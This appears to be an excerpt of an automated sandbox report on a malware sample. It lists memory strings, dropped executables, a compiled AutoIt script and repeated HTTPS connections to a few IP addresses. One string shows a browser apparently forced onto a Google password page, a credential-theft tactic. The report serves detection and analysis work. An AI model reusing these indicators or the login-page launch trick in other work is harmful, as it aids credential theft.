Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B580B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B580B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/refresh-firefox-reset-add-ons-and-settingsresource:///modules/Ur
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: file.exe, 00000000.00000003.1742069486.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2257999297.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2431038092.00000000053B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000019.00000002.2516090955.000000E69BAFC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2523144040.0000014391D4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000019.00000002.2595976581.000002B9B70A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000019.00000002.2597481806.000002B9B7138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2531448134.000002B9B06E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2502829985.00000274E3780000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2502829985.00000274E378A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2503887360.00000274E3A34000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2502469705.000002941987A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2502469705.0000029419870000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2503220295.00000294199C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2340130163.00000224CCCD0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2348962243.000001F93D3F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2524572287.000002B9A4BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.2526675937.000002B9A671A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2526675937.000002B9A66AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2526675937.000002B9A6716000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2502829985.00000274E3780000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2503887360.00000274E3A34000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2502469705.0000029419870000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2503220295.00000294199C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTry
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWhether
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountensureUnloadHandlerRegistered.panel-header
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B580B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comevictOutOfRangeContentViewersbrowser.search.widget.inNavBargetAllStyleSheetCSSSty

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 62945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62837
Source: unknown	Network traffic detected: HTTP traffic on port 62916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 62919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62843
Source: unknown	Network traffic detected: HTTP traffic on port 62854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62854
Source: unknown	Network traffic detected: HTTP traffic on port 62937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62856
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 62923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62908
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62901
Source: unknown	Network traffic detected: HTTP traffic on port 62940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62862
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 62912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62914
Source: unknown	Network traffic detected: HTTP traffic on port 62935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62871
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 62843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 62881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62923
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62925
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62926
Source: unknown	Network traffic detected: HTTP traffic on port 62932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62927
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62881
Source: unknown	Network traffic detected: HTTP traffic on port 62837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62932
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62935
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62938
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 62819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 62862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62821
Source: unknown	Network traffic detected: HTTP traffic on port 62913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62944
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62946
Source: unknown	Network traffic detected: HTTP traffic on port 62938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 62856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62940

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:62916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62944 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: dd62608cd9.exe, 0000000B.00000000.2291841633.0000000000D12000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_83526c1f-f
Source: dd62608cd9.exe, 0000000B.00000000.2291841633.0000000000D12000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_424dde0e-1

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name:
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name: .idata
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name:
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name: .idata
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: 7f3598dc65.exe.6.dr	Static PE information: section name:
Source: 7f3598dc65.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 606111e8b5.exe.6.dr	Static PE information: section name:
Source: 606111e8b5.exe.6.dr	Static PE information: section name: .rsrc
Source: 606111e8b5.exe.6.dr	Static PE information: section name: .idata
Source: 606111e8b5.exe.6.dr	Static PE information: section name:
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name:
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name: .idata
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name:
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name: .idata
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name:
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name:
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name: .idata
